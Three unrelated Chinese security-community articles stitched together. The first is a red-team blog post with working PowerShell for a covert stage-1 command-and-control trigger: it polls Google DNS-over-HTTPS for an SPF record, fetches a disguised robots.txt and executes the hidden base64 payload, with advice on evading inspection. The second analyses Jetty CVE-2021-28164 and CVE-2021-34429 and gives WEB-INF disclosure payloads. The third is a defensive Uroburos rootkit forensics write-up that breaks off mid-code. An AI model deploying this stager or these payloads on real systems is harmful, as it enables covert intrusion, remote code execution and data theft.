Security，顾名思义，它代表了在网络安全方面的一种开放式平台)的原因，在低速和慢速通道（第1阶段，长途通道）和运营通道（第2阶段，短程）之间划分命令和控制（C2）是一个好习惯。本博文提供了使用DNS
over HTTPS（对dns.google.com进行HTTPS调用以检索DNS
TXT记录）构建第1阶段C2频道的详细操作信息，以触发下载一个stager，它随后将启动第2阶段C2的Payload。
### 为什么要在C2中创造多样性
构建不同的和应用的多样化是实现命令和控制基础架构的可靠性和安全性（OPSEC）的重要机制。其中，良好的C2基础设施应具有以下特征：
* 如果另一个频道被切断，备用频道可用
* 对一个频道的调查不会直接暴露其他频道
* 在目标系统上的暴露您的操作植入物是有限的
各种APT小组用来实现这一目标的常用模式是使用具有基本功能的长途C2信道（阶段1 C2），可用于临时部署通过另一个信道进行通信的高级且复杂的植入物（阶段2
C2）。通过这种方式，可以创建一个非常有弹性的基础设施，有价值的植入物落入调查人员的手中的机会是有限的。
在本博文中，我们将演示如何使用DNS over HTTPS模拟这种模式。
### 什么是DNS over HTTPS（DoH）以及我为什么要关心它？
DNS over
HTTPS（DoH）允许通过HTTPS协议进行DNS解析，如[RFC8484](https://tools.ietf.org/html/rfc8484)中所述。DoH的目标之一是增加用户的隐私，通过HTTPS解析DNS查询。各方都有提供DoH，这一点谷歌做得很好。
从攻击的角度来看，当我们使用DoH时，我们可以执行请求：
* 向已知的且值得信赖的一方发送请求（例如Google）
* 我们可以从中控制响应
* 通过SSL加密的信道
* 如果被检查的话，那就变得不显眼
除了这些特征之外，我们发现许多已实施SSL检查的客户因各种原因（Google产品中的证书，流量负载，隐私等）将所有Google域排除在检查范围之外。总而言之，这使得DoH通过谷歌成为触发Payload的理想信道。
下图展示了一个Python的示例，通过HTTPS向dns.google.com发送
`yourdomainhere.nl`域的TXT记的单个DNS请求，它也显示了响应。
### (Ab)使用DoH进行Payload触发
现在我们知道DoH是怎么工作的了，那么我们如何（ab）使用它来触发Payload传输呢？我们能够控制系统定期提取DNS应答的内容。使用DoH，我们能够将少量数据（即Payload位置信息）传送到目标网络中的受感染系统。
从OPSEC的角度来看，在DNS
TXT记录中如果只包含主机名或目标网址并不是一个好的主意。例如，您可以使用SPF记录来嵌入stager域。SPF记录看起来是安全无害的，它可以包含IP地址，域或服务器名称。
想象一下，当您想要提供新的Payload时，您有一个默认的SPF记录添加域。触发器的接收端将发现添加到SPF记录的主机名并对其进行操作。
下图显示了一个DNS TXT响应的示例，其中嵌入了域名。该域名可以由定期提取DNS TXT记录的stager来提取。
### Payload编码：隐藏在robots.txt中
由于大小限制，Payload本身不会通过DoH提供，我们需要对Payload进行编码，使其与正常的网络流量混合在一块。下图显示了一个基本示例：`'robots.txt'`文件似乎只包含文本。但是，实际上该文件包含一个base64编码的PowerShellPayload（例如Cobalt
Strike
PowerShellPayload），并有额外的空格来避开最后的任何'='字符。这个Payload被反转并以随机块的形式被剪切，并添加了“Disallow：/”和“.html”字符串，以模仿真正的robots.txt文件。
可以在我们的GitHub上找到用于将Payload嵌入robots.txt的Python代码。用法：
`python HideInRobots.py payload.ps1`
对于大多数操作，您可能希望在分段期间进一步隐藏Payload。我们的一些爱好者可以帮助您完成此过程：
* 通过隐写术将Powershell隐藏在PNG图形中： <https://github.com/peewpw/Invoke-PSImage>
* 使用Cloakify在文本中隐藏Payload： <https://github.com/johnaho/Cloakify-Powershell>
### DoH stager示例代码
我们的远程C2信道（阶段1）的接收端是一个独立的过程，定期轮询DoH上的DNS TXT记录。下面的代码段包含一个PowerShell示例，可以用来使用DoH
Google服务不停地查询域的DNS
TXT记录。请求使用HTTPS与dns.google.com进行通信。当然，在OPSEC方面，您可能不想使用PowerShell，而是想根据目标的环境来定制DNS
TXT应答、Payload位置和睡眠时间。
在下面的示例中，如果收到一个`‘vspf1 include: -all’`响应，它将返回休眠10小时。如果响应更长，它将提取嵌入在响应中的域名，从域名下载
`‘robots.txt’`。
function Invoke-SPFtrigger
{
while($true)
{
$hostn = ""
$spf = (New-Object System.Net.Webclient).DownloadString("https://dns.google.com/resolve?name=yourdomainhere.nl&type=Txt")
$offsetA = $spf.IndexOf("v=spf1 include:")+15
$offsetB = $spf.IndexOf("-all")-1
$hostn = $spf.substring($offsetA,$offsetB-$offsetA)
if ($hostn.Length -ge 3 ){
$dl = (New-Object System.Net.Webclient).DownloadString("http://" + $hostn + "/robots.txt")
$dl = $dl.Replace(".html`n", "")
$dl = $dl.Replace("Disallow: /", "")
$dl = $dl[-1..-($dl.length)] -join ""
$c = [System.Convert]::FromBase64String($dl)
$st = [System.Text.Encoding]::ASCII.GetString($c)
IEX($st);
}
sleep(3600)
}
}
Invoke-SPFtrigger
您现在可以使用此远程通道来安排您的“交互式”和“可操作”C2通道（您的Cobalt
Strike，Empire，Slingshot或自行开发的植入物）升级。尽情愉快地展现你的创造力吧！
### DoH上的Cobalt Strike beacon
除了DoH上单独触发您的信标之外，您还可以使用DoH作为主C2通道。SpiderLabs最近发布了一个即用型Cobalt
Strike外部C2模块：<https://github.com/SpiderLabs/DoHC2>
这篇博文中提到的代码可以在如下链接中找到： <https://github.com/outflanknl/DoH_c2_Trigger> | 社区文章 |
本文主要从Jetty的两个WEB-INF信息泄露漏洞CVE-2021-28164和CVE-2021-34429，来分析如何通过编码和相对路径来绕过对敏感信息的校验，以及Jetty中对URL的PATH的解析方式和存在的问题。
## 漏洞信息
Jetty作为Eclipse基金会的一部分，是一个纯粹的基于Java的网页服务器和Java Servlet容器，其支持最新的Java Servlet
API，同时支持WebSocket，SPDY，HTTP/2协议。
在Jetty9.4.37版本中，为了符合[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#section-3.3)中的规范，选择性地支持可能有歧义解释的URI，默认模式允许URL编码，简单看下RFC3986（替代[RFC2396](https://datatracker.ietf.org/doc/html/rfc2396#section-3.3)）的规定
`.`和`..`称为点段，都是为路径名层次结构中的相对引用而定义的，它们在一些操作系统文件目录结构中分别代表当前目录和父目录。但是与文件系统不同的是，这些点段仅在
URI 路径中解释层次结构，并作为解析过程的一部分被删除。也就是说在解析URI路径时，需要先处理`.`和`..`
Jetty为了符合这种处理方式，却导致了一系列的漏洞产生，首先是在9.4.39版本中修复了CVE-2021-28164，然后出现了新的绕过，其又在9.4.43版本中修复了CVE-2021-34429。
## 漏洞利用
本文将选取Jetty 9.4.37、9.4.40、9.4.43三个版本来解析漏洞如何发生与其如何修复。
### CVE-2021-28164
此漏洞环境可以[vulhub](https://github.com/vulhub/vulhub/blob/master/jetty/CVE-2021-28164/README.zh-cn.md)上搭建，是9.4.37版本，`/%2e/WEB-INF/web.xml`直接可以读取web.xml
payload：`/%2e/WEB-INF/web.xml`
### CVE-2021-34429
本地搭建环境Jetty 9.4.40（ps:懒得新建项目，勿在意项目名）
* payload1：`/%u002e/WEB-INF/web.xml`
这个payload可以看作CVE-2021-28164的绕过
* payload2: `/.%00/WEB-INF/web.xml`
这个payload是由多个解析问题导致
* payload3：`/a/b/..%00/WEB-INF/web.xml` ( **这里是两层，你没有看错** ，下文分析原因)
## 漏洞分析
接下来我们将从源码角度，依次分析漏洞如何产生，由于CVE-2021-34429中的payload1是对CVE-2021-28164的绕过，我们直接调试Jetty
9.4.40版本。这里使用远程调试的方式，一开始搜教程一直调试无法成功，最后发现端口从8787设置到4000行了，参考[how-to-debug-in-jetty-source-code](https://stackoverflow.com/questions/27311620/how-to-debug-in-jetty-source-code)，具体原因未研究。
由于漏洞主要发生在URI解析过程中，所以我们可以直接在`org.eclipse.jetty.http.HttpURI.java:Parse`函数中下断点，开启调试
然后使用`/%u002e/WEB-INF/web.xml`发包，跟踪代码执行
当解析完成path之后，会先调用`canonicalPath`函数，这是漏洞产生的第一个重点函数，主要是用于路径的规范化，也就是处理`.`和`..`，我们先直接跳过
由于是在规范化点段，然而并没有出现点段，只含有%u编码后的`.`，结果依然是原来的路径，接着我们进入`decodePath`函数
public static String decodePath(String path, int offset, int length) {
try {
Utf8StringBuilder builder = null;
int end = offset + length;
label67:
for(int i = offset; i < end; ++i) {
char c = path.charAt(i);
switch(c) {
case '%':
if (builder == null) {
builder = new Utf8StringBuilder(path.length());
builder.append(path, offset, i - offset);
}
if (i + 2 >= end) {
throw new IllegalArgumentException("Bad URI % encoding");
}
char u = path.charAt(i + 1);
if (u == 'u') {
builder.append((char)('\uffff' & TypeUtil.parseInt(path, i + 2, 4, 16)));
i += 5;
} else {
builder.append((byte)(255 & TypeUtil.convertHexDigit(u) * 16 + TypeUtil.convertHexDigit(path.charAt(i + 2))));
i += 2;
}
break;
case ';':
if (builder == null) {
builder = new Utf8StringBuilder(path.length());
builder.append(path, offset, i - offset);
}
do {
++i;
if (i >= end) {
continue label67;
}
} while(path.charAt(i) != '/');
builder.append('/');
break;
default:
if (builder != null) {
builder.append(c);
}
}
}
if (builder != null) {
return builder.toString();
} else if (offset == 0 && length == path.length()) {
return path;
} else {
return path.substring(offset, end);
}
} catch (NotUtf8Exception var8) {
LOG.debug(path.substring(offset, offset + length) + " " + var8, new Object[0]);
return decodeISO88591Path(path, offset, length);
} catch (IllegalArgumentException var9) {
throw var9;
} catch (Exception var10) {
throw new IllegalArgumentException("cannot decode URI", var10);
}
}
可以看到，此解码函数，支持%编码和%u编码，并且支持`;`作为param的解析
解析完的路径自然就变成了`/HelloTomcat/./WEB-INF/web.xml`，那最后怎么绕过敏感文件校验的呢？我们需要继续调试。
在一波操作之后，经过漫长的调用链
找到了在`org.eclipse.jetty.server.handler.ContextHandler.java`的`isProtectedTarget`函数中的校验代码。
最终会拿刚才`decodePath`也就是`/HelloTomcat/./WEB-INF/web.xml`截取项目名之后的路径进行保护文件的校验
能够看到，默认的保护列表有两个`/web-inf`和`/meta-inf`，我们继续进入
很明显，也进行了小写的转换，但是在校验路径是否是以保护文件夹开头时，是直接拿decodePath进行的校验，当然`/./WEB-INF/web.xml`并不是以`/web-inf`开头，此时就解释了为什么一个编码的`.`会绕过安全校验，但是我们还是没看到，为什么会读取到web.xml，需要接着调试
又经过一个漫长的调用链，可以同样在`ContentHandler.java`的`getResource`函数中找到答案
在获取资源之前，调用的相同的规范路径的函数`canonicalPath`，当然会将`/./WEB-INF/web.xml`规范化未`/WEB-INF/web.xml`，从而完成了整个漏洞的利用。
到这里，payload1完成分析，简单理一下
1. 输入path=`/HelloTomcat/%u002e/WEB-INF/web.xml`
2. 规范化`canonicalPath(path)` ==> path= `/HelloTomcat/%u002e/WEB-INF/web.xml`
3. URL解码`decodePath(path)` ==> path=`/HelloTomcat/./WEB-INF/web.xml`
4. 取target=`/./WEB-INF/web.xml`
5. 安全校验`isProtectTarget(target)` ==> target= `/./WEB-INF/web.xml`并不是以`/web-inf`或`/web-meta`开头，通过校验
6. 规范化`canonicalPath(target)` ==> target= `/WEB-INF/web.xml`
7. 获取资源`getResource(target)`，造成web.xml被读取
那我们接着分析CVE-2021-28164的中payload，由于上文分析的payload1是其绕过，我们直接用9.4.40版本，查看是如何修补的CVE-2021-28164，并分析，payload1是如何被绕过的。
我们首先查看在9.4.39版本对CVE-2021-28164的修补的[Commit](https://github.com/eclipse/jetty.project/commit/e412c8a15b3334b30193f40412c0fbc47e478e83)
从中间的注释可以看出来，当路径中出现可能存在歧义的并且合法的段时，即使可能已经被规范化，但是在这里还要继续规范化。说起来可能比较绕，我们直接在`org.eclipse.jetty.server.Reqest.Java`中`setMetaData`函数的这个增加的位置设置断点，接着发送`/HelloTomcat/%2e/WEB-INF/web.xml`payload。
进入`uri.isAmbiguous`函数，只有`_ambigouos`不为空，就返回true
可以看到这里`ambiguos`是true，也就代表着此路径被认定是可能存在歧义的，我们接着跟
到增加的代码处，path如果不是只有`/`，就需要获取其被解码后的path，也就是上文第3步处理后得到的值，当ambiguous为true时，path会被继续规范化，那么此时path就变成了`/HelloTomcat/WEB-INF/web.xml`。
总结就是，为了修复CVE-2021-28164，在第三步处理完path后，验证path是否一个可能含有歧义的路径，如果是，就直接在进行一次规范化，这样经过规范化，在进行保护文件校验时，就不会通过校验，从而避免敏感信息泄露。
我们这个例子是使用`%2e`，那么`%u002e`是如何绕过这个规范化的呢？此时需要看`ambiguous`是何时被置为true的，既然可以绕过，那说明`%u002e`并没有被认定为歧义。
回到最初的`org.eclipse.jetty.http.HttpURI.java:Parse`函数，我们看下在解析路径的时候，这些属性是如何设置的
case PATH:
switch(c) {
case '#':
this.checkSegment(uri, segment, i, false);
this._path = uri.substring(pathMark, i);
mark = i + 1;
state = HttpURI.State.FRAGMENT;
continue;
case '%':
encoded = true;
escapedSlash = 1;
continue;
case '.':
dot |= segment == i;
continue;
case '/':
this.checkSegment(uri, segment, i, false);
segment = i + 1;
continue;
case '2':
escapedSlash = escapedSlash == 1 ? 2 : 0;
continue;
case ';':
this.checkSegment(uri, segment, i, true);
mark = i + 1;
state = HttpURI.State.PARAM;
continue;
case '?':
this.checkSegment(uri, segment, i, false);
this._path = uri.substring(pathMark, i);
mark = i + 1;
state = HttpURI.State.QUERY;
continue;
case 'F':
case 'f':
if (escapedSlash == 2) {
this._ambiguous.add(HttpURI.Ambiguous.SEPARATOR);
}
escapedSlash = 0;
continue;
default:
escapedSlash = 0;
continue;
}
可以看到，最明显的是出现%2f或者%2F时，就会直接设置`_ambiguous`增加一个`SEPARATOR`代表含有编码的分隔符。当出现`/;?#`，都会进入`checkSegment`函数
当遇到`/`会取此`/`前面一个段的值，如`/HelloTomcat/%2e/WEB-INF/web.xml`，解析到第三个`/`时，会取`%2e`，并在`__ambiguousSegments`中寻找是否存在，如果存在就在`_ambiguous`增加`SEGMENT`，如果不存在，并且含有param，就在`_ambiguous`增加`PARAM`，这个`__ambiguousSegments`为
此时，就能够解释为什么`%u002e`可以绕过了，因为这个歧义列表中不包含`%u002e`，所以绕过了歧义验证。
接下来还有一个payload2：`/HelloTomcat/.%00/WEB-INF/web.xml`
我们前面给出`decodePath`函数的代码，接下来，想要解释这个payload，需要看下`canonicalPath`函数
这段代码很奇葩，在规范化的过程中，特意考虑了`\u0000`，当出现空字符时，如果空字符前只有1个点或者超过2个点的时候，直接break，将空字符忽略直接丢掉。
所以在上述解析的第5步，保护文件校验是使用`/.\u0000/WEB-INF/web.xml`，从而绕过了校验，而在获取资源之前的第6步的规范化，又将这个空字符直接丢掉了，所以导致最终web.xml的文件读取。
当我看这段代码的时候，发现了更奇葩的事情，当出现两个点的时候，如`/a/b/..\u0000`，canonical=`/a/b/`,此时解析到空字符时，会先将长度减1，也就是丢掉最后一个`/`，变为`/a/b`，然后找到最后的分隔符，并截取到最后一个空字符，也就是最终变为`/a/`，不仅忽略了空字符，也完成了`../`的规范化，可是之后并
**没有将dot设置为0** ，也就等于使用了，但是并没有初始化，接着看下面代码
解析完空字符，就解析`/`，那么此时dots还是等于2，会再进行一次`../`的规范化操作，这就导致一次`..\u0000`，解析成了`../../`的作用。
到这里，我们构造出了奇葩payload3
## 漏洞修复
如果修复payload1，按照修复CVE-2021-28164的方式，在`__ambiguousSegments`中增加`%u002e`类似的歧义字符，是可以的。但是Jetty并没有这么做，而是直接选择了不按照RFC规范来了。
这是最新版9.4.43中`org.eclipse.jetty.http.HttpURI.java`中新加的注释。也就是说，通过在规范化相对路径之前进行url解码和删除参数，歧义的路径就不存在了，但是这是一种非标准的方法，因为RFC3986要求需要先规范化，在进行解码和删除参数，也就是9.4.37-9.4.42之间（包含）的版本的处理方式才是标准的。
通过上边修复的代码，我们上文中提到的解析方式的第2步和第3步就换了位置，最终变成了
1. 输入path=`/HelloTomcat/%u002e/WEB-INF/web.xml`
2. URL解码`decodePath(path)` ==> path=`/HelloTomcat/./WEB-INF/web.xml`
3. 规范化`canonicalPath(path)` ==> path= `/HelloTomcat/WEB-INF/web.xml`
4. 取target=`/WEB-INF/web.xml`
5. 安全校验`isProtectTarget(target)` ==> target= `/WEB-INF/web.xml`，是以`/web-inf`或`/web-meta`开头，无法通过校验，返回404
这种直接就修复了这种漏洞，先解码在规范化，是不会发生有歧义的路径进入后面的安全校验的。
接下来需要研究payload2和payload3，针对空字符的处理，虽然经过上述的修复，出现%00，也不会出现安全问题，但是从上面解析空字符的代码看，`..%00`的解析依然会进行两层父目录的跳转，这是一个功能问题，当然也是潜在的安全问题。
我们先来看下RFC3986对空字符的规范
在7.3节中，在url解码过后，需要进行安全性的检查，需要注意`%00`应该被特殊处理，如果后端不希望接受原始数据，应该拒绝，感觉说了句废话，个人理解就是，需要特别注意下空字符。当然jetty
9.4.43也很符合RFC，直接将对于空字符的处理（`case '\u0000'`部分）删掉了。
而且在截取uri中path的时候就直接加了处理
无论出现%编码还是%u编码，就直接先解码这个字符，然后验证，如果此值为0，代表空字符，就直接报错`Illegal character in
path`，当然这里也考虑了%25两次%编码，和%2f分隔符的%编码，增加到`_violations`中，用于记录路径中含有的编码数据类型。
## 一点想法
首先就是，最开始说到，jetty支持选择性的解析可能歧义的路径，这里可以接着说下。
上边说到在解析的时候把一些可能引起歧义的编码数据类型加到了`_violations`中，看下后续如何使用这些数据。
这里就是在检查uri中的数据是否含有不允许出现的字符，而这个允许与否的名单是由一个`RFC7230_LEGACY`获取的，这个值可以在jetty配置文件的start.ini中通过`jetty.http.compliance`来配置，比如配置`jetty.http.compliance=RFC7230_NO_AMBIGUOUS_PATH_SEPARATORS`，那么`%2f`就会被认为不允许的字符。
接着还有一个问题就是，我们可以看到在`decodePath`函数中，解码和参数删除部分，jetty只是考虑了`;`，然而这是不规范的，对于RFC3986来说
`name;v=1.1`和`name,v=1.1`是等价的，如果不把`,`当作path中的参数分隔符进行解析，可能存在潜在的安全问题。
最后，jetty在9.4.37中，实现标准的RFC3986中解析路径的部分，从而导致了这些安全问题。问题到底出在什么地方呢？其实从上面的分析来看，主要就是一个简单的顺序问题。
RFC3986认为当解析uri中路径时，需要先去除掉其中含有的点段`.`和`..`，将之处理成当前目录或者跳到父目录，之后才能进行url的解码和参数处理。jetty照这个来了，却出现了安全问题，然而在修复了一次之后，又出现了绕过，索性直接不按照RFC，变成了先解码和参数处理，再进行规范化（处理点段）。
所以需要思考一个问题，一个路径是`/%2e/a/b`，后端解析之后，到底是`/./a/b`还是`/a/b`？个人理解是RFC规范的是正确的，既然存在`.`的url编码`%2e`，那么就是告诉后端我发送的是一个点，而不是一个要代表当前目录的`.`，如果直接进行解码之后规范化，那么在url编码中%2e将没有意义。
然而jetty改来改去，最终还是没在根源上解决这个问题，如果使用RFC3986规范的标准解析，这些安全问题应该如何解决。我们看上面的9.4.40版本解析步骤，在第5步进行安全校验的时候，使用的是解析后的路径含有点段，然后再第6步获取资源之前，其实又进行了一次规范化。也就是说其实在最终使用路径的时候是进行二次规范化的，那么在安全校验的时候为什么不进行这个规范化呢？
如果安全性校验的时候可以进行规范化，是不是可以既能标准解析又能解决安全问题呢？
## 参考资料
<https://datatracker.ietf.org/doc/html/rfc3986#section-3.3>
<https://datatracker.ietf.org/doc/html/rfc2396#section-3.3>
<https://github.com/vulhub/vulhub/blob/master/jetty/CVE-2021-28164/README.zh-cn.md>
<https://github.com/advisories/GHSA-vjv5-gp2w-65vm>
<https://github.com/eclipse/jetty.project/commit/e412c8a15b3334b30193f40412c0fbc47e478e83>
<https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm> | 社区文章 |
# 针对一个Uroburos恶意软件新样本的分析
##### 译文声明
本文是翻译文章，文章来源：exatrack.com
原文地址：<https://exatrack.com/public/Uroburos_EN.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
Uroburos是在APT攻击中出现的一种恶意软件，于2014年被发现，并对计算机安全领域构成了很大的威胁。它的与众不同之处在于它的64位Windows驱动程序（Rootkit），包括一个PatchGuard的旁路。此外，驱动程序没有经过签名，恶意软件利用第三方驱动程序中的漏洞实现内核执行。有关这个恶意软件在过去研究中的更多细节，你可以阅读Andrzej
Dereszowski和Matthieu
Kaczmarek发表的[文章](http://artemonsecurity.com/uroburos.pdf)。
几个月前，我们发现了一个从2017年开始传播的Uroburos/Turla样本。在调查之后，其中的驱动程序被证明是基于2014年的改进版本。我们看了一下这个新的驱动程序，发现它与原来的驱动程序有一些很大的差异，尽管有一个共同的基础。在本文中，我们将分析这个64位Rootkit的一些新特性。我们的分析将集中在如何从内存转储（memory
dump）中识别这个Rootkit（正如我们在搜索威胁时所做的那样），然后我们将研究其新的通信协议。我们的目标是希望能够远程识别Rootkit的存在，而无需在服务器上进行身份验证。应该注意的是，Rootkit只针对服务器。
我们要分析的代码位于：<https://www.virustotal.com/en/file/f28f406c2fcd5139d8838b52da703fc6ffb8e5c00261d86aec90c28a20cfaa5b/analysis>
为了在服务器上进行威胁搜索，我们使用了Comae DumpIt工具（https://www.comae.io/），并分析了该工具生成的故障转储（crush
dump）。
## 识别内核威胁
驱动程序在内核空间中隐藏得很好，它不存在于已加载模块列表中，而且其他模块的完整性也都保持良好。
为了辅助分析，我们将使用ExaTrack开发的一个内部工具，该工具旨在检查内核的完整性，并提示当前潜在的异常问题。
Windows回调（callback）系统是我们检查的关键组件之一，它允许在某些事件（例如进程创建）中调用任意函数。在我们的样本中，通过观察它们，我们发现了一个异常：
>>> ccb
# Check CallBacks
[*] Checking CallbackTcpConnectionCallbackTemp : 0xfffffa8002f38360
[*] Checking CallbackTcpTimerStarvationCallbackTemp : 0xfffffa8004dfd640
[*] Checking CallbackLicensingData : 0xfffffa80024bc2f0
[...]
[*] PspLoadImageNotifyRoutine
[*] PspCreateProcessNotifyRoutine
Callback fffffa8004bc2874 -> SUSPICIOUS ***Unknown*** 48895c2408574881ec30010000488bfa
在创建过程时，会调用PspCreateProcessNotifyRoutine列表中的回调函数。向它添加一个条目是非常有趣的，可以修改新进程的数据和行为。在前面的命令中，该工具识别了一个被认为可疑的条目，因为它指向一个未分配给驱动程序的内存地址。
在回调中还存在第二个异常，它不太明显，因为它不会对系统的操作造成很深的影响，但会对其进行略微的改动。
[...]
[*] IopNotifyShutdownQueueHead
Name : Null
Driver Object : fffffa80032753e0
Driver : DriverNull
Address: fffff88001890000
Driver : Null.SYS
Name : 000000a6
Driver Object : fffffa8003d2adb0
Driver : Driverusbhub
Address: fffff88000da6000
Driver : usbhub.sys
[...]
>>> cirp DriverNull
Driver : DriverNull
Address: fffff88001890000
Driver : Null.SYS
DriverUnload : fffff88001895100 c:windowssystem32driversnull.sys
IRP_MJ_CREATE fffff88001895008 Null.SYS
IRP_MJ_CREATE_NAMED_PIPE fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_CLOSE fffff88001895008 Null.SYS
IRP_MJ_READ fffff88001895008 Null.SYS
IRP_MJ_WRITE fffff88001895008 Null.SYS
IRP_MJ_QUERY_INFORMATION fffff88001895008 Null.SYS
IRP_MJ_SET_INFORMATION fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_QUERY_EA fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_SET_EA fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_FLUSH_BUFFERS fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_QUERY_VOLUME_INFORMATION fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_SET_VOLUME_INFORMATION fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_DIRECTORY_CONTROL fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_FILE_SYSTEM_CONTROL fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_DEVICE_CONTROL fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_INTERNAL_DEVICE_CONTROL fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_SHUTDOWN fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_LOCK_CONTROL fffff88001895008 Null.SYS
IRP_MJ_CLEANUP fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_CREATE_MAILSLOT fffff80002abb1d4 ntoskrnl.exe
IRP_MJ_QUERY_SECURITY fffff80002abb1d4 ntoskrnl.exe
当系统关闭时，要调用的模块列表中会引用“DriverNull”驱动程序。但实际上，这个驱动程序本不应该出现在这个列表中。但是它的IRP表似乎没有被修改，甚至指向ntoskrnl（对于IRP_MJ_SHUTDOWN接口）。我们没有发现这种行为有什么真正的用处。
让我们继续进行故障排除，Windows在其输入输出（IO）处理程序中有许多过滤系统。在这些IO中，网络被分成了几个部分，我们将会对其中一个进行深入研究，即NetIO。
NetIo也提供了一个回调系统，允许对交换的网络数据进行操作，这些回调被称为“Callout”。但由于进行的是网络回调，因此这些结构没有被记录，也没有出现在Windows符号文件中。这些特性使它成为植入恶意软件的好地方。在转储中，我们可以找到5个回调，这些回调指向不属于任何驱动程序的代码。
>>> cnetio
[*] NetIo Callouts (callbacks) : fffffa8004965000 (4790)
Callback fffffa8004bd9580 -> SUSPICIOUS ***Unknown*** 488bc448895808488950105556574154
Callback fffffa8004bca6b0 -> SUSPICIOUS ***Unknown*** 33c0c3cc40534883ec20488b89500100
Callback fffffa8004bd9af8 -> SUSPICIOUS ***Unknown*** 4883ec286683f91474066683f916750f
Callback fffffa8004bd9ca0 -> SUSPICIOUS ***Unknown*** 48895c24084889742410574883ec4048
Callback fffffa8004bd9de0 -> SUSPICIOUS ***Unknown*** 4c8bdc49895b0849896b104989731857
我们将在文档的后面部分更详细地研究这些函数中的其中一个。
最后，我们将搜索试图隐藏在Windows中的已加载的驱动程序。
>>> pe
[...]
[OK] fffff88001899000 : SystemRootSystem32DriversBeep.SYS
[OK] fffff88000da6000 : SystemRootsystem32DRIVERSusbhub.sys
[NO] fffffa8004bb8000 (Header overwritten)
[OK] fffff88006a00000 : SystemRootsystem32DRIVERSE1G6032E.sys
[OK] fffff880017d2000 : SystemRootSystem32DriversNpfs.SYS
[...]
>>> dq fffffa8004bb8000 100
FFFFFA8004BB8000 0000000300000000 0000FFFF00000004 ....?...?...¦¦..
FFFFFA8004BB8010 00000000000000B8 0000000000000040 ........@.......
FFFFFA8004BB8020 0000000000000000 0000000000000000 ................
FFFFFA8004BB8030 0000000000000000 000000D800000000 ................
FFFFFA8004BB8040 CD09B4000EBA1F0E 685421CD4C01B821 ??.?....!.?L.!Th
FFFFFA8004BB8050 72676F7270207369 6F6E6E6163206D61 is program canno
FFFFFA8004BB8060 6E75722065622074 20534F44206E6920 t be run in DOS
FFFFFA8004BB8070 0A0D0D2E65646F6D 0000000000000024 mode....$.......
FFFFFA8004BB8080 095520395A3B417D 0955203909552039 }A;Z9 U.9 U.9 U.
FFFFFA8004BB8090 095520A609542039 0955203C092E28A6 9 T.. U..(..< U.
FFFFFA8004BB80A0 0955203B0928E61E 095520510938E61E ?.(.; U.?.8.Q U.
FFFFFA8004BB80B0 09552038092FE61E 09552038092DE61E ?./.8 U.?.-.8 U.
FFFFFA8004BB80C0 0955203968636952 0000000000000000 Rich9 U.........
FFFFFA8004BB80D0 0000000000000000 0006866400000000 ............d.?.
FFFFFA8004BB80E0 000000005900F3CF 202200F000000000 ...Y.........."
FFFFFA8004BB80F0 00042E000008020B 000000000001BC00 ??....?...?.....
>>> list fffffa8004bb8000 fffffa8004bbb000
FFFFFA8004BB8000 rwx-
FFFFFA8004BB9000 rwx-
FFFFFA8004BBA000 rwx-
在这里，一个重要的异常是可以观察到的。一个驱动程序存在于内存中，并且已经覆盖了它的MZ和PE标头，可能是为了隐藏自己，使其不受原始内存搜索的影响。它的寻址对应于我们之前的回调，并以RWX权限进行映射。
目前发现的所有证据都表明了该恶意软件是从内核运行的。现在，我们将分析它的一些代码（主要是网络通信），以了解它是如何工作的。
## 驱动程序分析
### 入口点
在初始化过程中，驱动程序将迅速瞄准“空（Null）”设备。它检索指向对象的指针，并将其注册到前面提到的“关机（shutdown）”回调列表中。另外，它还在进程创建期间注册了调用的回调函数。
[...]
if ( (unsigned int)get_top_deviceObjet(L"\Device\Null", &device_obj_null)
&& (result = get_top_deviceObjet(L"\Device\Beep", &device_obj_null), (_DWORD)result) )
{
__asm { xchg rbx, qword ptr cs:isNullDeviceFailed }
}
else
{
v5 = IoRegisterShutdownNotification(device_obj_null);
if ( v5 || (drvobj_null = device_obj_null->DriverObject, (v5 = sub_4E21C(byte_1188D)) != 0) )
[...]
PsSetCreateProcessNotifyRoutine(cbCreateProcess, 0i64);
[...]
### 加密字符串
为了避免容易被反病毒软件识别，所有与Uroburos相关的字符串都被加密。每个加密数据块的大小都是0x40字节，并用前一个0x40字节执行异或（XOR）操作。
解密函数见下面。基于此，破译完整的攻击链是可能的。
Python>def decrypt(addr, clen): return ''.join(chr(b) for b in
[struct.unpack('B'*clen,idaapi.get_many_bytes(addr,64))[a] ^
struct.unpack('B'*clen,idaapi.get_many_bytes(addr-clen,clen))[a] for a in xrange(clen)])
Python>[decrypt( 0x53530 + (i*0x80) , 0x40).replace("x00",'') for i in xrange(38)]
['system', 'isapi_http', 'isapi_log', 'isapi_dg', 'isapi_openssl', 'shell.{F21EDC09-85D3-
4eb9-915F-1AFA2FF28153}', 'Hd1', 'Hd2', 'RawDisk1', 'RawDisk2', 'wininet_activate',
'dmtev', 'Ultra3', 'Ultra3', 'services_control', 'fixdata.dat', '$NtUninstallQ817473$',
'fdisk.sys', 'fdisk_mon.exe', '400', '16', '{AAAA1111-2222-BBBB-CCCC-DDDD3333EEEE}',
'~WA434.tmp', '~WA4276.tmp', '.', '~WA356.tmp', 'rasmon.dll', 'rasman.dll', 'user',
'internat', 'NTUSER.DAT', 'ntuser.dat.LOG1', '.', 'mscrt.dll', 'msvcrt.dll', '0', '1',
'.']
在附录中，我们提供了加密函数的YARA规则。
### 网络拦截
如上所示，网络回调已经被安装。它们将通过函数“FwpsCalloutRegister0”（允许添加网络过滤器）注册，并能够控制驱动程序传输或不传输接收到的数据。
v20 = addCalloutAddress(
&stru_14930,
&a2,
DeviceObject,
(__int64)intercept_packet,
(__int64)&ret_null,
(__int64)a6,
(__int64)&v47,
